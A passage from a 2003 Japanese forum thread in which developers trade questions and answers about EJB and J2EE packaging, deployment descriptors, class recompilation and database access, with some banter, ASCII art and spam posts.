>>814 INSERT と同時にプライマリキーが自動生成される設計で「あれば更新、
無ければ追加」なんて状況が有りうるのか?
>>817 彼女が風呂上がるのを待ってるのですが何か?
821 :
デフォルトの名無しさん :03/05/19 00:05
>>814 俺は大抵の話には付いていける技術ボキャブラリがあると自負していたが、
おまえの話しだけには付いていけない。
823 :
デフォルトの名無しさん :03/05/19 00:34
EJBで何かいいサンプルプロジェクト無いですかね。 Pet Store以外で。
824 :
デフォルトの名無しさん :03/05/19 00:49
825 :
デフォルトの名無しさん :03/05/19 01:03
>>814 EJBの前にDBを理解した方が良いですよ。
今 し! _ -── ‐- 、 , -─-、 -‐─_ノ の // ̄> ´  ̄  ̄ `ヽ Y , ´ ) E え 流 L_ / / ヽ J | J 行 / ' ' i B マ D な / / く !? ジ B 許 l ,ィ/! / /l/!,l /厶, C さ i ,.lrH‐|'| /‐!-Lハ_ l /-!'|/l /`'メ、_iヽ だ れ l | |_|_|_|/| / /__!__ |/!トi i/-- 、 レ!/ / ,-- レ、⌒Y⌒ヽ け る _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ ,イ ̄`ヾ,ノ! よ の 「 l ′ 「1 /てヽ′| | | 「L! ' i'ひ} リ ね は ヽ | ヽ__U, 、ヽ シノ ノ! ! |ヽ_、ソ, ヾシ _ノ _ノ -┐| ,√ !  ̄ リ l !  ̄  ̄ 7/ レ'⌒ヽ/ ! | 〈 _人__人ノ_ i く //! 人_,、ノL_,iノ! /! ヽ r─‐- 、 「 L_ヽ r─‐- 、 u ノ/ / / lト、 \ ヽ, -‐┤ ノ キ 了\ ヽ, -‐┤ // ハ キ { / ヽ,ト、ヽ/!`hノ ) モ |/! 「ヽ, `ー /) _ ‐' ハ ャ ヽ/ r-、‐' // / |-‐ く | > / / `'//-‐、 / ハ ハ > /\\// / /ヽ_ ! イ ( / / // / `ァ-‐ ' ハ ハ / /! ヽ レ'/ ノ > ' ∠ -‐  ̄ノヽ / { i l ! / フ / -‐ / ̄/〉 〈 \ /!
>820,821,825 どれか すまん、本当にわからんかったから教えてくれぃ INSERT INTO EMP ( EMP_ID, NAME ) VALUES ( EMPSEQ.NEXTVAL, 'NAME'); ってやった時、どうやって一意制約違反になるの?(emp_idがPK) たのんます
828 :
デフォルトの名無しさん :03/05/19 22:51
>>827 DBの制約のタイミングの設定次第。
遅延可能(DEFERRED)に設定しておけば、トランザクション終了時に整合性チェックを行う。
即時(IMMEDIATE)なら各文の実行終了後、制約を検査する。
829 :
デフォルトの名無しさん :03/05/19 22:59
EJBを使用するとアベイラビリティ、スケーラビリティがあがるといわれてますが、 なぜでしょうか? 私の認識ではEJBの持つ下記の性質のためだと思っていますが、 間違っていたらご指摘してください。 アベイラビリティ → 位置透過性(クラスタ対応+CMT) スケーラビリティ → 位置透過性(リモート呼び出し) EJBを本当に使う必要があるのか迷っています。
830 :
デフォルトの名無しさん :03/05/19 23:00
CMP EntityBeanを実際の業務APで皆さん使われてますか? 使っている方はテーブルとCMP EntityBeanをどのようにマッピングしているのでしょうか? CMP+CMRを使ってテーブル:エンティティBean=1:1で対応させているのでしょうか? 業務APでEJBを開発した方の意見をお願いします!
831 :
デフォルトの名無しさん :03/05/19 23:04
>>830 > 業務APでEJBを開発した方の意見をお願いします!
EJBで業務AP開発した方、3万円の布施で貴重な意見をお願い致します。
だ。
832 :
デフォルトの名無しさん :03/05/19 23:04
>>830 某社のフレームワークまで使って開発したが、EntityBeanは使わなかった。
それでも、テーブルと1:1のクラスは作ったけどね。
>828 ああそっか、遅延なんてもんがあるのか。有難う。 >829 ”必要がある”ケースってのは極めて稀。 それに、 >アベイラビリティ、スケーラビリティがあがる とか言ってるのはEJBに力入れてるベンダのセールストークが大半で、 実際にアベイラブルなコンポーネントってのはそうそう無いと思う。 >832 多分、同じ職場に居たなw >某社のフレームワークまで使って開発した >テーブルと1:1のクラスは作った あの案件の顛末が知りたい…
834 :
デフォルトの名無しさん :03/05/19 23:33
アレだな。EJBって一言聞くと、とんでもなくデカイ仕様+難しい+複雑 のように思えるけど、MVCアーキテクチャのModelとして根本から考えて いくとスッキリするね。まずMVCで作ってみて、それからbeanをEJBにしよう。
835 :
デフォルトの名無しさん :03/05/20 01:26
>まずMVCで作ってみて、それからbeanをEJBにしよう。 良くこういうこと言うヤシいるよね。 実際2回も作るかっていう話だな。
>>835 学習の段階としてだよ。実務で2回も作るかって。
>>834 CORBAをちゃんと理解していれば、EJBの理解は何の苦労も無い。
838 :
デフォルトの名無しさん :03/05/20 13:40
DDの<resource-ref>と<resource-env-ref>の違いが分からないです。 例えば、とある本のサンプルでは <resource-ref> <resource-ref-name>jms/QueueConnectionFactory</res-ref-name> <res-type>javax.jms.QueueConnectionFactory</res-type> <res-auth>Container</res-auth> </resource-ref> <resource-env-ref> <resource-env-ref-name>jms/Queue</res-ref-name> <res-env-ref-type>javax.jms.Queue</res-type> </resource-env-ref> となってるんですが、何故javax.jms.Queueは<resource-ref>ではなく <resource-env-ref>で指定してるんでしょう??
840 :
デフォルトの名無しさん :03/05/20 23:48
841 :
デフォルトの名無しさん :03/05/20 23:58
>>838 <resource-ref>は「リソースファクトリ」を定義するためのタグです。
<resource-env-ref>は「リソース環境参照」を定義するためのタグです。
今のところ、<resource-env-ref>はJMSのQUEUEとかTOPIC専門のはず。
>>841 >今のところ、<resource-env-ref>はJMSのQUEUEとかTOPIC専門のはず。
なるほど。そう覚えときます。ありがd。
>>839 「CORBAじゃねーだろ」だってさ。プププ。
844 :
デフォルトの名無しさん :03/05/21 16:09
classを圧縮するとき、ユーティリティクラスはjarで それにhtmlやjsp, Seervletが含まれるときはwarで それらにさらにEJBが含まれるときはこのwarもまとめてearにするものですか?
845 :
デフォルトの名無しさん :03/05/21 21:28
warファイルに入っているServletから、 他のearに含まれているEJBって呼ぶことができますか? ってゆーか皆さん、 大規模開発等ではearファイル等をどのように分割されていますか? ユースケース単位ですか? earファイルを分ける不具合ってありますか?
846 :
デフォルトの名無しさん :03/05/21 21:31
ear えぁぁ?
>> 845 > warファイルに入っているServletから、 > 他のearに含まれているEJBって呼ぶことができますか? できるにきまっている。なんのための分散オブジェクトだ? > 大規模開発等ではearファイル等をどのように分割されていますか? > ユースケース単位ですか? > earファイルを分ける不具合ってありますか? ユースケース単位でわける?そんな細かくしてなんの意味がある。 (テキストを1行ずつファイルにわけるようなものだ。) アプリケーション単位だろ。普通。
848 :
デフォルトの名無しさん :03/05/22 00:26
>>847 回答どうもです。
何度も質問して申し訳ありませんが、
2つのearファイル(ear1、ear2)として、
ear1内のサーブレットからear2のEJBを呼ぶ事できるのですか?
またwarファイルとejb-jarファイルを分けるとして
それぞれのアーカイブにて必要なクラス(ValueObject、Utilクラス)は
両方に入れる必要があるのですか?
>848 自分で調べろ > 2つのearファイル(ear1、ear2)として、 > ear1内のサーブレットからear2のEJBを呼ぶ事できるのですか? だから、できるっていってるだろ。 JNDIを詳しく勉強してみろ。 > またwarファイルとejb-jarファイルを分けるとして > それぞれのアーカイブにて必要なクラス(ValueObject、Utilクラス)は > 両方に入れる必要があるのですか? ないよ。warのMANIFEST.MFのClasspath:にejb-jar書いておけ。
>>845 ユースケース単位で分けるつったら、下手したらメソッドごとになっちまうぞ。
853 :
デフォルトの名無しさん :03/05/22 22:55
下記2つのサンプルコードはどこかにないでつか? あったら教えていただけませんか? 1.AppletからServletへアクセスする 2.数100件のデータをセッションに格納して、 10件ずつ位でJSPで表示する。 お願いします。
854 :
デフォルトの名無しさん :03/05/22 22:58
>数100件のデータをセッションに格納して、10件ずつ位でJSPで表示する。 なんでやねん。DBから10件単位で持ってこりゃ良かろうが。
>>853 2なんだけど、表示するかどうかもわからない残りの90をセッションに取っておく
必要が本当に有るのか検討した方が良いと思うヨ
856 :
デフォルトの名無しさん :03/05/22 23:13
>>853 1.JavaDoc のRMI項を読もう。
>>855 setAttributeに持たせすぎたらパンクするの?
858 :
デフォルトの名無しさん :03/05/23 00:27
>>856 RMIではなくてAppletからHttpでServletアクセスするサンプルソースです。
860 :
デフォルトの名無しさん :03/05/23 00:45
>>858 RMIでやるのは好ましくないが、通信についてどの程度理解してるか晒してくれ。
サンプルソースを要求してばかりじゃ糞PGのままだぜ?
自分でサンプル作るくらいの意識で情報掻き集めろ。
まあ、ひよこみたいだからヒントだけ言って終わりにする。
java.net.*;
これで道を開け。じゃあな。
861 :
デフォルトの名無しさん :03/05/23 00:55
>>860 どうもです。
ちなみにRMIで直接EJB呼出をやっていけないわけは
ファイヤウォールを越えられないからですか?
それとも何か別問題があるのですか?
862 :
デフォルトの名無しさん :03/05/23 01:01
EJBじたいがRMIでは
>>855 セッションに保存するくらいなら、適当にストレージ用意して一時ファイル
にでもキャッシュしたら?Serializeそのまんまでいいからよ。でかいヒー
プ領域潰すと問題だろ?
>>860 RMIでもHttpをプロトコルに出来るんだけどね。最優先で選択させるには、
ファクトリ書き換えないといかんけど。
>>861 EJBは、下から見るとRMIのラッパー。EJB呼び出しはRMI呼び出しのラッピング
をしているので、君の言い草はおかしい。
それから、RMIあるいはEJBの仕組みは、RMIレジストリなどのサービスレジスト
リサーバを、クライアントがサーバールックアップに使用するために外部に公開
するので、Webをまたいでそんなことさせるのは、セキュリティ上非常によろし
くない。
864 :
デフォルトの名無しさん :03/05/23 01:35
SecurityManagerいじるくらいなら他の方法考えろってことだ
>>864 なんのはなしですか?
ところで、そんなことするなら、普通はSecurityPolicy定義ファイルを
読ませるだけだと思うが。
>>865 申し訳ない。私が実務で実装しているクラスだった。近頃、混乱気味。
何をしてるクラスかは聞かないでくれたまえ。
867 :
デフォルトの名無しさん :03/05/23 17:50
ApacheSOAPをC++クライアントから使いたいのだが、 適切なライブラリを知ってる人います? ちなみにWin用
868 :
デフォルトの名無しさん :03/05/23 23:41
初心者です。すいません。 WebLogic7.0にてServletから リモートIFにてSessionBeanを呼び出そうとしています。 (実際はServletとSessionBeanは同じマシンで動かしています。) ServletはXXX.warに入れています。 SessionBeanはYYY.jarに入れています。 そうした時にXXX.warには HomeIFとRemoteIFのclassファイルを格納する必要がありますか? できればXXX.warにはHomeIFとRemoteIFを格納しないでできると良いのですが、 格納せずに済ますことはできますか?
>>868 普通はWARクラスローダーの親クラスローダーはEJBのクラスローダー
のはず。
同じEAR内ならWARからejb-jarは見えると思うが。
とりあえず、試せよ。
870 :
デフォルトの名無しさん :03/05/24 00:36
>>869 今試してみましが、だめでした。
ちなみにXXX.warとYYY.jarはEARファイルに入れておりません。
そのままデプロイしてます。
871 :
デフォルトの名無しさん :03/05/24 22:32
>>870 既に解決しているかもしれないが、起動スクリプト内でWebLogicを起動する
時のクラスパスにYYY.jarを含めれば問題なし。
>>869 正確には、EJBのクラスローダーは、WARのクラスローダーの親じゃない。
872 :
デフォルトの名無しさん :03/05/25 00:52
ejb-client.jarというのをつくるといい。
これは、EJBを利用するのに必要なクラス(※)の .class ファイルをまとめた .jar ファイル。
※ たとえばこんなクラス
・EJB関連のインタフェース
・メソッドのシグネチャに使われているクラスやインタフェース
→ 引数や戻り値、例外
Webアプリの WEB-INF/lib ディレクトリに ejb-client.jar を配置しておくことで、
Webアプリのクラスパスには必要なクラスがすべて見えるということになる。
>>871 のようにWebLogic自体のクラスパスに含めるのは、
クラスをロードできるスコープをいたずらに広げてしまうから、あんまりお勧めしない。
873 :
デフォルトの名無しさん :03/05/25 01:39
>>871 ,872
回答ありがとうございます。
EJBってめんどくさいんですねぇ・・・
こういう場合って通常は皆さんどうされているのですか?
XXX.warにEJBのHome、Remoteインタフェースとデプロイメントディスクリプタを
格納しているのですか?
>>873 そもそも建前上は分散環境下で配備しているんだから、これは必要な作業。
ejb-jar.xml に ejb-client-jar 要素は規定されているよ。
875 :
デフォルトの名無しさん :03/05/25 15:01
おいおまいら、ちょいと class や jsp 直したくらいで ear パッケージングしなおして デプロイしなおしてますか? ちょっとした修正くらいなら (新規追加なし、置換えのみ) なら直接 ファイルを置き換えてますか?
877 :
デフォルトの名無しさん :03/05/25 17:29
ちょっとした修正くらいならデバッグ中にホットコード置換で良いじゃん。とおもた
878 :
デフォルトの名無しさん :03/05/25 18:27
EJBだけが先行してJ2EEってことを忘れてる香具師多くないか?
879 :
デフォルトの名無しさん :03/05/25 20:00
>>875 開発中なら .war を展開形式のままディプロイしてもいいと思う。
ただ、それを正式なビルド手順にしていない限りは、
本番環境へは .war とか .ear にまとめるべき。
リリース手順をどんなポリシーにしているかによって答えは変わるよ。
880 :
デフォルトの名無しさん :03/05/25 20:32
2、3日ごとに本番環境へのリリースがあるような鬼のようなプロジェクトなのですが、 やっぱり war か ear にすべきなのかなあ。 関係ないほかのモジュールまでデプロイしなおしてしまうのがどうも気になるところ。 開発チームがモジュール管理ちゃんとできてればヘンなモジュールリリースしちゃったりは しないんだろうけど、どうも不安。 ちなみに私は、システム管理者です。 アプリケーション開発者やアプリケーションアセンブラーではありません。
881 :
デフォルトの名無しさん :03/05/25 20:42
マジでEJBを理解できない。なんでこんなに複雑なんだよJ2EE。 J2EEチュートリアルの「簡単な開発手順」のソースの理解で既にギブアップ。。。 リモートインターフェースで定義してあるメソッドをエンタープライズBeanで実装してあるけど、 どこでimplementsしてあるのかと小一時間。SessionBeanしかimplementsしてねーみたいだし・・・。 ここはとりあえず動くまで手探りでチュートリアル進めるべきなのか・・・。 EJBやってる人って、どうやって覚えたの??
882 :
デフォルトの名無しさん :03/05/25 20:53
>>880 リコンパイル必要な場合もあるだろうし、
依存関係はアーカイブ単位で取れてないと実行時にスガンなので
war,ear単位でのリリースが良いと思うよ。
883 :
デフォルトの名無しさん :03/05/25 20:58
>>880 システム管理者ならば、なおのことしっかりとしたディプロイ手順を定めるべきだと思う。
面倒でもきっちりやっておいたほうがいいよ。
ケースに応じて、入れ替えるべきモジュールが異なってくる。
その手順に合うようにアセンブルするのはアプリケーションアセンブラの責任。
(1) EJBの実装の修正
→ EJBの .jar を入れ替え
(2) EJBの実装ならびにメソッドシグネチャの修正
→ EJBの .jar および ejb-client.jar の入れ替え
(3) 画面修正(JSPの修正)
→ .war の入れ替え
すべてのEJBを1個の .jar ファイルにまとめてしまうと、
1個の修正ですべてを交換するという非合理なことになる。
そこを論理的、機能的にうまく分割できるかどうかが
コンポーネントプロバイダ(EJB開発者)のテクニックだ。
884 :
デフォルトの名無しさん :03/05/25 21:03
>>883 jar をうまいこと分けても、ear が一緒だったら同じになってしまう訳で。
ear / Enterprise Application をうまくわけるベストプラクティス集みたいなのはまだないのかなあ。
J2EE って面倒そうでつねぇ〜。
>>880 の鬼のようなプロジェクトってどの位の規模でつか?
アプ鯖と鯖は何を使ってるのでつか?
我ながら教えてクンだな・・・
差し支えない程度で教えて下さいな。
886 :
デフォルトの名無しさん :03/05/25 21:13
>>883 こっちがアセンブル手順をきちんと定めて、あとはアセンブラーの責任ですよと
言ってても、アセンブラーがポカやったら、オペミスしかねない手順を定めた
藻前の責任ですよ と言われてしまうのです。
結局 ear 一つなので、リリースのたびに総入れ替えしているのが現状なのですが、
アプリケーションアセンブラーをあまり信用していないのでちょっと不安です。
バージョン管理ちゃんとできてるんだろうな・・・
ま、正規の手順は ear 再デプロイしかないのは事実なんですが。
class や jsp ファイルのみの置換えでも動くには動くが、サポート受けられないし。
>>885 お答えしかねます・・・一応、ND (non-disclosure agreement) という奴です。
888 :
デフォルトの名無しさん :03/05/25 21:22
>>886 Servlet,JSP,Bean,の連携ならやった。
その後、RMIの基本を理解した。次はEJBだと思ってやり始めたはいいが・・。
チュートリアルで止まってる・・・マジわけわか。
最初からクイックリファレンスはまずくない?
漏れはSunのサイトから「アプリケーション設計ガイド」「J2EEチュートリアル」を落とした。
これを一通り読み終え、理解したらオライリーに逝こうかと思ってる。
>>886 オライリーのEnterpriseJavabeansは実践的でかなりいい本だけど初心者向けでない。
特にCMPで開発する人向けと言える。
なんか適当にStatelessSessionBeanを使ってる本があったらそっちのほうがいい。
890 :
デフォルトの名無しさん :03/05/25 21:29
>>889 StatefullSessionBeanは?
891 :
デフォルトの名無しさん :03/05/25 21:30
ぉら、田舎もんだがら、CMPってのもよぐわがんねぇ
892 :
デフォルトの名無しさん :03/05/25 22:10
SunのJ2EE1.3.1使ってるんですが MySQLと接続したいんですがどのようにすればいいでしょうか? SQL生成時に「Invalid value for getShort()-'NX'」 などとエラーになります このエラーでどこを直せばよいのかヒントだけでも教えてください
>>887 ケチ(w
じゃ、ひとつ教えて。
そのシステムは別に J2EE じゃなくても開発できるだろ
と激しく思うことがある。
Yes or No ?
894 :
デフォルトの名無しさん :03/05/25 22:43
>アセンブラーがポカやったら、オペミスしかねない手順を定めた藻前の責任ですよ と言われてしまう そらまたDQN会社で…ご愁傷様。 ところで >class や jsp ファイルのみの置換えでも動くには動くが 技術はキッチリ仕様を押さえてから使おうな。 jspならともかく、classを単体でとっかえるのは危険を伴うぞ。
895 :
デフォルトの名無しさん :03/05/25 22:50
>>894 > jspならともかく、classを単体でとっかえるのは危険を伴うぞ。
どの辺りが危険?詳細解説お願いします。
896 :
デフォルトの名無しさん :03/05/25 23:15
>895 894じゃないけど…ぱっと思いつくので ・インスタンスイニシャライザで定数が代入されるfinal変数はインライン展開される。 あるクラスに定数をpublic static finalで列挙していて、その並びに変更/追加があった時などは 関係するクラス全てを再コンパイルする必要がある。 ・継承の階層の途中のクラスを変更した時には全サブクラスを再コンパイルする必要がある。 てな事があるな。他にも有りそう。 厄介なのは、変更があったクラスだけとっかえりゃ良いってもんじゃ無い、という事。 影響範囲を調べれば良いわけだが、わざわざ人為的ミスを誘発する作業を挟むよりは 全部入れ替えるのがベターだろうな。
プロフェッショナルEJBって本はどうよ?
>>896 それって J2EE じゃなくて Java
つか、オブジェクト指向の罠?
899 :
デフォルトの名無しさん :03/05/25 23:26
900 :
デフォルトの名無しさん :03/05/25 23:27
>>896 違うだろ。変更したクラスだけでいいって。
あんたはrt.jarの中を再コンパイルしてるのか?
>>896 再コンパイルの必要あるのですか?全く影響ないですよ。
必要あるのなら、何故必要なのか述べてください。
>>900 896は、関係するクラス全て とか 全サブクラス とかって
言ってるじゃねーか。
どこで rt.jar コンパイルするって話になった。
staticな定数を持っているクラスだったらそれを参照している・さらに その参照を持ち回っているクラスは全部再コンパイルする必要があるな。 staticな定数は実行時に参照するのではなく、コンパイル時に値が コピーされるようになっているから。
>>902 再コンパイルの必要性がわかんねーんだよ。
おまえソース晒せや。
905 :
デフォルトの名無しさん :03/05/25 23:47
依存関係があったら自動的にコンパイルしてくれるだろうがよ。
>>893 EJBは要らない気がする。
JSP、Servlet、JavaMail 等のJ2EEテクノロジはないと面倒臭すぎるので必要。
>>894 フールプルーフな運用を構築するのはシステム管理者の責務だと思うので、
オペミス責任まで降ってくる自体はそんなにDQNとは思わない。
ただ、限度がある。
こなれてないWebアプリケーションサーバの管理、J2EE開発手順の責任までは取れないよ〜
class の置換えのキケンは J2EE 以前からある話しなので、ある程度気をつけてはいます。
ま、アプリケーション開発者じゃないので、頭の片隅においとくレベルですが。
907 :
デフォルトの名無しさん :03/05/26 00:07
本番として動いている業務アプリで、.class を稼動中に入れ替えるという運用は怖くてできない。 そんな運用を指定するユーザーもそうはいないだろう。 仕様で規定されているとはいえ不要な障害をもたらしそうな部分だし、 APサーバごと再起動の方が手順もわかりやすい。 JSPなどはプリコンパイルさせて、.classファイルのみを.warに含めてるよ。 (でなければ最初のコンパイルに時間がかかりすぎる)
908 :
デフォルトの名無しさん :03/05/26 00:08
C++の場合は言語の性質上,ソースコード間の依存関係が非常に強くなる傾向があるらしい。 Javaの場合はあるソースを変更した場合に再コンパイルする必要があるのはそのソースのみなのに対し,C++の場合は注意しないとほとんど全てのソースを再コンパイルする必要が出る場合がある。
>>903 が述べているように static final なメンバはインライン展開されるから、
定数は使わずすべてメソッド呼び出しにしようかと考えたこともある。
徹底はしていないけど。
public static final int DEFAULT = 1;
↓
private static final int DEFAULT = 1;
public static int getDefault() {
return DEFAULT;
}
>>907 サーバ稼動中のclass入れ替えなんて絶対にできないよ。
そのclassのインスタンスがいるときにそんな事できない。
私が気にしてるのは、ear/warファイルデプロイの際に、
変更が入っていないファイルまで置換えられてしまう事。
まちがって未テストのclassでもアセンブルの際に紛れ込まされたらどうしよう
そういう不安があるのです。
warやearの差分リリースの仕組みがあればいいんだけど。
今はwarやearの分割でしか対応できないようだ。
>>909 そういうランタイムの実装を気にしたくないからこそ Java や OO なんだけどな・・・
912 :
デフォルトの名無しさん :03/05/26 00:20
FirebirdはEJBに対応していますか?
913 :
デフォルトの名無しさん :03/05/26 00:21
まえにも聞いたんだけど開発ツールは? まさかメモ帳? 設定が多すぎてツールに頼らないとできないような気がするので なにが安定して使いやすい。 JBよりWASがいい?
915 :
デフォルトの名無しさん :03/05/26 00:26
>>910 > まちがって未テストのclassでもアセンブルの際に紛れ込まされたらどうしよう
> そういう不安があるのです。
その不安そのものを排除しようとはしないのか?
916 :
デフォルトの名無しさん :03/05/26 00:26
>>904 貴方が学ぶべき次のキーワードは「インライン化」
早く素人初心者から脱出できるといいですね(藁
>>915 そこを排除できればなにも言う事ないのですが、会社も別なのでなかなか口出しにくい。
アセンブル時にかかわれないのでデプロイの際になんとかカヴァーしたいのだが、無理そう。
リリース回数減らしてでもきっちりテストしてもらうしかないかな。
918 :
896@適当にレス :03/05/26 00:46
>898 javacの罠。 >900 良く嫁。そして試せ。 >901 何故必要ないと思ったんだろう… >903 staticかどうかって関係あったっけ。良く覚えてないや。 private finalはインライン展開されたと思うけど、protected final はサブクラスで展開されるのかな。 >904 おいおい騙んなや。 >905 それが何か?ちゃんと読んでる? >908 流れ嫁。Javaでも関係するクラスのソースを再コンパイルする必要はある。 >909 その方法はアリだね。但し、汚いしオーバーヘッドも発生するし…。 >914 誰だろうな。 >917 diff取るだけじゃダメか。
919 :
デフォルトの名無しさん :03/05/26 00:47
TomcatはApacheと連動できますが J2EEはApacheと連動できますか? また、連動させる必要はありますか?
いつになく議論が活発化してる。 やばいよ漏れもEJB早くやらないと乗り遅れちゃうよ。
> J2EEはApacheと連動できますか? J2EEとは仕様のこと。J2EE reference implementation(J2EE RI)のことか? J2EE RIのServletコンテナはTomcatだから当然できる。 > また、連動させる必要はありますか? 開発や動作検証のみだったら不要。 実運用するんだったら必要なことが多い。 しかし、J2EE RIはライセンス上実運用はNGだから 連動させる必要はないと言えば無い。
>>920 EJBについての議論は一切無いので安心してよい
>>906 >EJBは要らない気がする。
激しく同意しますだ。JSP/Servlet + JDBC で十分ズラ。
>>920 J2EE ってアプ鯖の事を言ってるでねぇのかな?
925 :
デフォルトの名無しさん :03/05/26 01:12
データベースの あるカラム(INTEGER)の値の合計出すときってどうするんですか? EJBでは一行がオブジェクトとして扱ってるみたいだけど こういう処理するときって わざわざ、findしてオブジェクト取得して 希望のカラムの数値getして また次の行をfindして値をgetして数値をプラスしていくんですか? int i=0; Customer customer=null; for(int k=1;k<10;k++){ customer= customerHome.findByPrimaryKey(new Integer(k)); i=i+customer.getCount(); } こういうやり方でいいのか悩みます
>>919 900や901、908みたいなド阿呆も立派にじゃヴぁぷろぐらまーを自称している。安心召されよ
詐称とも言う
っていうか、検索して見つからなかったときに なんで、「FinderException」投げるようになってるの? 見つからなかったときは、こっちで処理したいのに・・・
928 :
デフォルトの名無しさん :03/05/26 01:41
>>927 処理したらいいじゃん。例外投げてくれてるんだからcatchブロックでやれば?
>>926 やべーな。サーバーサイドに手をつけようって人間がこんなバカばっかなんだw
そらEJBの認知度も低い罠ぁ、、
930 :
デフォルトの名無しさん :03/05/26 02:47
>>884 確かに。
そういうear、war、ejb-jarをどのようにまとめるかは重要だよねぇ。
だれか意見を求みます!
931 :
デフォルトの名無しさん :03/05/26 02:49
結局EJBを使っているwarファイルには EJBリモートIF、ホームIF、ejb-jar.xmlが必要なのですか?
932 :
デフォルトの名無しさん :03/05/26 03:18
つーか、設計の段階でどのように分類すべきかも見えてないのか?
>>928 まあ、そうなんだけどさ
俺としては
while(このオブジェクトある?){あれば処理する}
っていうのが自然なんだよな
それにさ、
>>926 じゃないが何千っていうRowがあるテーブルのとき
それ全部newするのっておかしくない?
ラップするのはわかるけどさ・・・
だからといってResultSet返すわけにもいかんし・・・
複数のRowを扱えるように最初から
String[] name;
String[] getName();
とかいうのを持ったBeanつくればいいのか?
935 :
デフォルトの名無しさん :03/05/26 03:36
936 :
デフォルトの名無しさん :03/05/26 04:08
JNDI名 リソース名 リソース参照名 コレだけでも区別するのは辛い JNDI名だけでいいじゃんボケ
937 :
デフォルトの名無しさん :03/05/26 05:06
配備時にエラーになるのは *.xmlファイルの設定が間違ってると診ていいんでしょうか? J2EE1.3.1+MySQL⇒Invalid getShort() JBoss+MySQL⇒MBeanException: Exception in MBean operation 'checkIncompleteDeployments() 配備時に上のようなエラーが出ます 両方ともMySQLに繋ぎたいがどっちもダメだ どうしたいんですか?
938 :
デフォルトの名無しさん :03/05/26 05:13
>>937 あなたこそどうしたいんですか?っていうか一晩中戦ってたの?
939 :
デフォルトの名無しさん :03/05/26 05:40
>>938 一晩中っていうか
土曜日からずっと悩んでる
なんかDB使うEJB作って配備するとエラーになる
JBoss+MySQLはHPで情報かなり見つけて
どこも、同じ設定方法だったので
バインドは間違いなく出来ていると思う
となると、DD系の設定か?と思うんだが・・・原因わからず・・・
しょうがないので、今はJ2EEのほうの標準組み込みのCloudscapeでやってます
>>925 JDBCで集計関数使いなさい。CMPはJDBCと組み合わせるのが普通。
941 :
デフォルトの名無しさん :03/05/26 21:24
>>930 そういうアナタはどのようにパッケージングしているのですか?
942 :
デフォルトの名無しさん :03/05/26 21:46
JBoss+MySQLとはつかえないのか?
943 :
デフォルトの名無しさん :03/05/26 22:30
>936 貴方はひとつのJVMで閉じている環境しか経験してないでしょ?
>925 EJBQLしらないの? (まー、正確にはEJB2.1じゃないとSUMは使えないはずだが、 どこのベンダーも独自実装してるから安心しな)
946 :
デフォルトの名無しさん :03/05/26 23:32
建設的な意見がないなぁ・・・
947 :
デフォルトの名無しさん :03/05/26 23:37
JDBCをセッションBEANで使うのは普通しないのですか? (リモートメソッドのところで) 厨房ですいませんが・・・
>>947 BMPの必然性が疑問でそうやって作っちゃったことはあるよ。
>>947 エンティティビーンとのメリット・デメリット比較衡量して判断する話しじゃないの
CMPならわかるけど、BMPって結局自分で中の処理をごりごり・・・だもんな。
>>947-948 の気持ちがわからんでもない。
951 :
デフォルトの名無しさん :03/05/27 00:08
普通セッションBEANからJDBCを呼ぶのではないのですか? APPに登録しているコネクションプールから?
頑張ってコンポーネント化しても再利用しないんだよなあ
>>952 EJBはトランザクション制御や分散化の恩恵を受けるためのものであって
再利用は期待できなさそう。
・・・ていうか日頃から疑問なのだがEJBみたいなモロに業務固有の処理に
特化した物って再利用できるのか?
フレームワークとかは業務に特化しないから再利用できるのじゃないか?
同じ会社内でなら業務ロジックの再利用はできる筈なのに、どうもコピーアンドペーストっぽいんだな
>>953 まあ、世の中にはEJBコンポーネントを売るのを商売としてる会社もあるわけだが。
つーか売れとるんかいな。
>>955 そのウチの一つのCSQのTムラ前社長と話したことがあるが、すでに
コンポーネントのマーケットスクエアというビジネスモデルそのものが
成り立っていないそうだ。イイCワンのCバンクにしてもそう。
957 :
デフォルトの名無しさん :03/05/27 22:51
>>883 >>884 確かにJ2EEコンポーネントのパッケージングは重要ですよね。
皆さんはどのようにパッケージングされていますか?
1.大規模開発の場合のパッケージング
(ユースケースのアクター単位?)
2.共通Class(util、ValueObject、Exception)のパッケージング
(全パッケージに入れる?コンテナのClassPathに指定)
3.EJB-Client.jarに入れるべきものは?
958 :
デフォルトの名無しさん :03/05/27 22:52
「EJB-Client.jar」ってなんですか? EJBの仕様で定められているものですか?
959 :
デフォルトの名無しさん :03/05/27 23:36
CMPの機能のしょぼさはなぜだ
J2EEの使用にはクライアントコンテナとかも書いてあるが、さっぱりわからんな。
∧_∧ ピュ.ー ( ^^ ) <これからも僕を応援して下さいね(^^)。 =〔~∪ ̄ ̄〕 = ◎――◎ 山崎渉
962 :
デフォルトの名無しさん :03/05/28 23:36
963 :
デフォルトの名無しさん :03/05/28 23:46
いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇびいじぇび いじぇびいじぇアガガアガガア・・・・・プペラポンkdiぢおあpjぢあづづ
964 :
デフォルトの名無しさん :03/05/29 05:25
なんか、いまさらDBをラップするって言われてもな〜 BMPのほうが取っ付きやすいんだけど・・・俺は
965 :
デフォルトの名無しさん :03/05/29 22:12
